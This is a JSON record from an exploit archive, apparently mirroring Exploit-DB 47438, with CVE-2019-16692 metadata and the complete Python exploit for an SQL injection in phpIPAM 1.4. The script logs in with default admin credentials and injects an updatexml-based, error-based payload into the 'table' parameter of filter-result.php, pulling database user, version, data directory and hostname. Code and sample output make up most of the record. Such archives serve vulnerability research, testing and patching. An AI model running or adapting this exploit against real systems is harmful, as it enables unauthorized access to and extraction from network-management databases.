{"exploit":{"id":"EDB-47438","name":"phpIPAM 1.4 - SQL Injection (SQLi) (1)","description":"phpIPAM 1.4 - SQL Injection (SQLi) (1)","cves":["CVE-2019-16692"],"author":"Kevin Kirsche","published":"2019-09-30","platform":"php","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/47438","path":"exploits/php/webapps/47438.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-47438.py","vulnerabilities":[{"id":"CVE-2019-16692","state":"PUBLISHED","title":null,"titleSource":null,"description":"phpIPAM 1.4 allows SQL injection via the app/admin/custom-fields/filter-result.php table parameter when action=add is used.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2019-16692","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2019-16692"},"updatedAt":"2024-08-05T01:17:41.091Z","retrievedAt":"2026-11-27T02:07:02.952Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-47438.png?v=2","url":"https://exploitbin.com/exploits/EDB-47438","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-47438/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-47438/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python3\n# Exploit Title: phpIPAM Custom Field Filter SQL Injection\n# Exploit Announcement Date: September 16, 2019 5:18 AM\n# Exploit Creation Date: September 27, 2019\n# Exploit Author: Kevin Kirsche\n# Vendor Homepage: https://phpipam.net\n# Software Link: https://github.com/phpipam/phpipam/archive/1.4.tar.gz\n# Version: 1.4\n# Tested on: Ubuntu 18.04 / MariaDB 10.4\n# Requires:\n#   Python 3\n#   requests package\n# CVE: CVE-2019-16692\n\n# For more details, view:\n# https://github.com/phpipam/phpipam/issues/2738\n# https://github.com/kkirsche/CVE-2019-16692\n\n# Example Output\n# [+] Executing select user()\n# [*] Received: phpipam@172.18.0.4\n# [+] Executing select system_user()\n# [*] Received: phpipam@172.18.0.4\n# [+] Executing select @@version\n# [*] Received: .4.8-MariaDB-1:10.4.8+maria~b\n# [+] Executing select @@datadir\n# [*] Received: /var/lib/mysq\n# [+] Executing select @@hostname\n# [*] Received: ubuntu\n\n\nfrom requests import Session\n\nhost = \"localhost\"\nlogin_url = f\"http://{host}/app/login/login_check.php\"\nexploit_url = f\"http://{host}/app/admin/custom-fields/filter-result.php\"\n\ncredentials = {\n    \"ipamusername\": \"Admin\",\n    \"ipampassword\": \"Password\",\n}\n\npayload = {\n    \"action\": \"add\",\n    \"table\": \"\",\n}\n\n\ncmds = {\n    \"unpriv\": [\n        \"select user()\",\n        \"select system_user()\",\n        \"select @@version\",\n        \"select @@datadir\",\n        \"select @@hostname\",\n    ]\n}\n\nif __name__ == \"__main__\":\n    client = Session()\n    resp = client.post(login_url, data=credentials)\n    if resp.status_code == 200:\n        for cmd in cmds[\"unpriv\"]:\n            print(f\"[+] Executing {cmd}\")\n            payload[\"table\"] = f\"users`where 1=(updatexml(1,concat(0x3a,({cmd})),1))#`\"\n            resp = client.post(exploit_url, data=payload)\n            info = resp.text.lstrip(\"<div class='alert alert-danger'>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: ':\").rstrip(\"'</div><div class='alert alert-success'>Filter saved</div>\")\n            print(f\"[*] Received: {info}\")","sha256":"ef7312b4b769e6322b77a32e5e6d0a1ee97e5b1e92f13e3c6580790b8aa9db9e","bytes":2012,"fetchedAt":"2026-11-27T02:07:00.359Z","encoding":"utf-8 (display only; download retains original bytes)"}